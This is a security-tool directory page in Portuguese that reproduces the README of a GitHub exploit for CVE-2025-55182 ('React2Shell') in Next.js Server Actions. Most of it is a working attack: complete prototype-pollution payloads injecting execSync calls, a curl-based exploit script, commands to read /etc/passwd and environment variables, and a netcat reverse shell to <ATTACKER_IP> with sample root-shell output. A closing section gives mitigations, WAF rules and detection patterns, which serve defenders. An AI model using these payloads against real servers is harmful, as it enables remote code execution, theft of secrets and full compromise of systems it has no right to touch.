Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
react2shell-exploit — CVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica que afeta aplicações Next.js que utilizam React Server Components (RSC) e Server Actions. | Kitploit
Ferramentas/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica que afeta aplicações Next.js que utilizam React Server Components (RSC) e Server Actions.

Ver Repositório
4há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182 – React2Shell

Execução Remota de Código no Next.js

⚠️ Aviso: Esta documentação é fornecida apenas para fins educacionais e de pesquisa em segurança. Qualquer uso não autorizado dessas técnicas contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal.


📋 Índice

  1. Visão Geral
  2. Como Funciona
  3. Instalação e Configuração
  4. Exploração Passo a Passo
  5. Resultados e Impacto
  6. Estratégias de Mitigação

Visão Geral

CVE-2025-55182, também conhecida como React2Shell, é uma vulnerabilidade crítica que afeta aplicações Next.js que utilizam:

  • React Server Components (RSC)
  • Server Actions

Por que é Perigosa?

Um atacante pode obter Execução Remota de Código (RCE) no servidor explorando:

  1. Desserialização insegura de payloads RSC
  2. Poluição de protótipo via __proto__ e constructor
  3. Caminhos de execução dinâmicos no runtime do servidor Next.js

Consequência: Comandos arbitrários do sistema podem ser executados com os privilégios do processo Node.js.


Como Funciona

Estágio 1: Protocolo RSC do Next.js

O Next.js utiliza um protocolo proprietário multipart/form-data para comunicação entre cliente e servidor:

  • O cliente envia React Server Components para o servidor
  • O servidor os desserializa e processa
  • O resultado é retornado ao cliente
root@kitploit:~
Cliente (Navegador)
    ↓
[payload multipart/form-data RSC]
    ↓
Servidor Next.js
    ↓
Desserialização + Execução
    ↓
Resposta

Estágio 2: A Fraqueza – Desserialização Insegura

A vulnerabilidade existe porque:

  1. Dados controlados pelo usuário não são validados antes da desserialização
  2. O acesso à cadeia de protótipos é permitido (__proto__, constructor)
  3. Certos campos são avaliados dinamicamente durante o processamento da requisição

Estágio 3: Ataque de Poluição de Protótipo

Um atacante pode criar um payload que modifica propriedades internas de objetos:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // Ataca a cadeia de protótipos
  "_response": {
    "_prefix": "código malicioso aqui"  // Injeção de código
  }
}

Explorando __proto__, o atacante polui o protótipo dos objetos JavaScript, afetando todos os objetos que herdam dele.

Estágio 4: Injeção de Código

Dentro do campo _prefix, o atacante injeta código JavaScript que:

  1. Acessa o módulo Node.js via process.mainModule.require()
  2. Carrega o módulo child_process
  3. Executa comandos do sistema usando execSync()
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Estágio 5: Extração do Resultado

O resultado do comando é escondido na resposta de erro:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

O Next.js retorna esse erro ao cliente, e a saída do comando fica visível no campo digest.


Instalação e Configuração

Pré-requisitos

  • Node.js 20
  • Burp Suite (ou ferramenta similar para interceptação de requisições)
  • curl ou Postman (para enviar payloads)

Passo 1: Clonar e Instalar o Servidor Vulnerável

root@kitploit:~
# Clone o PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Instale o Node.js 20
nvm install 20
nvm use 20

# Instale as dependências
cd test-server
npm install

Passo 2: Iniciar o Servidor

root@kitploit:~
npm run dev

O servidor agora está acessível em:

root@kitploit:~
http://localhost:3000

Passo 3: Verificar se o Servidor Está Rodando

root@kitploit:~
curl http://localhost:3000/

Nesta fase, o servidor se comporta normalmente.


Exploração Passo a Passo

Abordagem 1: Usando Burp Suite (Interceptação Manual)

Passo 1: Ativar Interceptação

  1. Abra o Burp Suite
  2. Vá para a aba Proxy → Intercept
  3. Ative Intercept is on
  4. Acesse http://localhost:3000/ no seu navegador

Passo 2: Interceptar a Requisição

Uma requisição GET será interceptada. Envie-a para a aba Repeater:

  1. Clique com o botão direito → Send to Repeater
  2. Vá para a aba Repeater

Passo 3: Substituir pelo Payload Malicioso

Substitua toda a requisição pelo seguinte payload:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Passo 4: Enviar a Requisição

Clique em Send


Abordagem 2: Script de Exploração Automatizada

Crie um arquivo exploit.sh:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Construir o payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Substituir o comando
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Enviar a requisição
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Torne-o executável:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

Exemplos de Comandos

Listar Arquivos e Diretórios

root@kitploit:~
COMMAND="ls -la /"

Obter Usuário Atual

root@kitploit:~
COMMAND="whoami"

Ler um Arquivo

root@kitploit:~
COMMAND="cat /etc/passwd"

Verificar Conexões de Rede

root@kitploit:~
COMMAND="netstat -tuln"

Obter Variáveis de Ambiente

root@kitploit:~
COMMAND="env"

Reverse Shell (Acesso Completo ao Servidor)

Para obter acesso completo a um shell interativo, use um reverse shell.

Na Máquina do Atacante: Escutar Conexões

root@kitploit:~
ncat -lvnp 9009

Ou com netcat:

root@kitploit:~
nc -lvnp 9009

No Alvo: Enviar Payload Reverse Shell

Modifique o payload com o seguinte comando (substitua <ATTACKER_IP> pelo seu endereço IP):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

O payload completo fica:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Resultado Esperado

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Agora você tem um shell totalmente interativo no servidor alvo.


Resultados e Impacto

Resposta do Servidor

Após a exploração bem-sucedida:

  1. O servidor responde com HTTP 500 Internal Server Error
  2. O corpo da resposta contém a saída do comando do sistema executado
  3. A saída está embutida no campo digest dentro da resposta de erro

Exemplo de Resposta

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impactos Potenciais

  • 🔥 Execução Remota de Código (RCE) Completa
  • 📂 Acesso total ao sistema de arquivos
  • 🔐 Roubo de credenciais e segredos
  • 🚨 Movimentação lateral dentro de redes internas
  • 💥 Comprometimento completo do servidor
  • 🔗 Ataques à cadeia de suprimentos (se usado para comprometer aplicações implantadas)
  • 📊 Exfiltração e manipulação de dados

Estratégias de Mitigação

Para Administradores de Sistemas

1. Atualizar o Next.js Imediatamente

root@kitploit:~
npm install next@latest

Garanta que está executando uma versão corrigida do Next.js. Verifique os avisos oficiais de segurança.

2. Validação Rigorosa de Payloads RSC

Adicione validação rigorosa dos payloads RSC recebidos:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Rejeitar payloads suspeitos
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Bloquear payloads contendo padrões perigosos
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SEGURANÇA] Tentativa de payload malicioso de ${request.ip}`);
      return new NextResponse('Proibido', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. Desabilitar Server Actions se Não For Necessário

Em next.config.js:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Desative se não for necessário
    }
  }
};

4. Executar Node.js com Privilégios Mínimos

root@kitploit:~
# Criar um usuário dedicado
useradd -r -s /bin/false nextjs

# Executar o serviço sob este usuário
sudo -u nextjs node server.js

# Ou com systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. Isolamento em Contêiner com Capacidades Reduzidas

Use Docker com capacidades restritas:

root@kitploit:~
FROM node:20-alpine

# Criar usuário não-root
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

Execute o contêiner com capacidades restritas:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. Monitorar Requisições Suspeitas

Implemente registro completo:

root@kitploit:~
// Middleware de registro personalizado
app.use((req, res, next) => {
  // Registrar todas as requisições POST com o cabeçalho Next-Action
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[ALERTA_SEGURANCA] Tentativa de exploração detectada de ${req.ip}`);
      console.error(`[ALERTA_SEGURANCA] User-Agent: ${req.get('user-agent')}`);
      console.error(`[ALERTA_SEGURANCA] Payload: ${bodyString.substring(0, 500)}`);
      
      // Alertar equipe de segurança
      // sendSecurityAlert(`Tentativa de exploração de ${req.ip}`);
      
      return res.status(403).json({ error: 'Proibido' });
    }
  }
  
  next();
});

7. Implantar um Firewall de Aplicação Web (WAF)

Configure seu WAF para bloquear:

Regras ModSecurity:

root@kitploit:~
# Bloquear __proto__ no corpo da requisição
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Ataque de Poluição de Protótipo'"

# Bloquear constructor no corpo da requisição
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Ataque de Poluição de Protótipo'"

# Bloquear acesso ao módulo child_process
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Tentativa de Execução de Código'"

# Bloquear a função execSync
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Tentativa de Execução de Código'"

# Bloquear declarações require()
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Tentativa de Carregamento de Módulo'"

Exemplo AWS WAF:

root@kitploit:~
{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPolluton",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPolluton"
      }
    }
  ]
}

8. Cabeçalhos de Política de Segurança de Conteúdo (CSP)

Embora o CSP proteja principalmente o lado do cliente, é uma boa prática:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. Auditorias Regulares de Segurança

root@kitploit:~
# Escanear dependências em busca de vulnerabilidades
npm audit
npm audit fix

# Usar snyk para monitoramento contínuo
snyk monitor

# Testes de penetração regulares
# Agendar avaliações trimestrais de segurança

10. Plano de Resposta a Incidentes

Se suspeitar de exploração:

root@kitploit:~
# 1. Verificar logs em busca de padrões suspeitos
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Verificar histórico de processos
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Verificar conexões de rede
netstat -tuln
lsof -i -P -n

# 4. Isolar o sistema afetado
sudo iptables -I INPUT -j DROP

# 5. Preservar evidências e logs
tar -czf /backup/incidente-$(date +%Y%m%d).tar.gz /var/log/

# 6. Notificar sua equipe de segurança e aplicar patches

Mergulho Técnico

Detalhamento do Payload

root@kitploit:~
{
  // Passo 1: Atacar a cadeia de protótipos
  "then": "$1:__proto__:then",
  
  // Passo 2: Marcar como modelo resolvido
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Passo 3: Injetar código através de _response
  "_response": {
    // O código JavaScript injetado
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMANDO',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Referência aos dados do formulário
    "_chunks": "$Q2",
    
    // Acessar constructor através dos dados do formulário
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Por que Funciona

  1. Parsing multipart: O Next.js analisa os dados multipart do formulário
  2. Resolução de referências: Referências como $1 são resolvidas para outros campos do formulário
  3. Reconstrução de objetos: Objetos são reconstruídos a partir dos dados analisados
  4. Poluição de protótipo: O caminho __proto__ modifica o protótipo do objeto
  5. Execução de código: O campo _prefix é avaliado durante o tratamento de erros
  6. Execução de comando: execSync executa o comando arbitrário
  7. Exfiltração do resultado: A saída é embutida no digest do erro

Recursos Adicionais

  • PoC Original: https://github.com/msanft/CVE-2025-55182/
  • Documentação de Segurança do Next.js: https://nextjs.org/docs/security
  • OWASP Poluição de Protótipo: https://owasp.org/www-community/attacks/Prototype_pollution
  • Melhores Práticas de Segurança Node.js: https://nodejs.org/en/docs/guides/security/
  • CWE-502: Desserialização de Dados Não Confiáveis: https://cwe.mitre.org/data/definitions/502.html

Conclusão

CVE-2025-55182 (React2Shell) demonstra riscos críticos associados a:

✅ Desserialização insegura de dados controlados pelo usuário ✅ Poluição de protótipo em cadeias de protótipos JavaScript ✅ Execução dinâmica de código sem validação adequada

Esta vulnerabilidade reforça a importância de:

  • 🔒 Validação de entrada: Nunca confie em entrada do usuário
  • 🛡️ Defesa em profundidade: Use múltiplas camadas de proteção
  • ⚠️ Manter frameworks atualizados: Aplique patches de segurança imediatamente
  • 🔍 Monitoramento e registro: Detecte comportamentos suspeitos
  • 🔐 Princípio do menor privilégio: Execute serviços com permissões mínimas
  • 🧪 Testes regulares de segurança: Realize auditorias e testes de penetração

Licença: Uso educacional apenas – Acesso não autorizado a sistemas de computador é ilegal.

Para pesquisa de segurança legítima e testes autorizados, certifique-se de ter permissão por escrito do proprietário do sistema antes de realizar qualquer teste.

Baixar ferramenta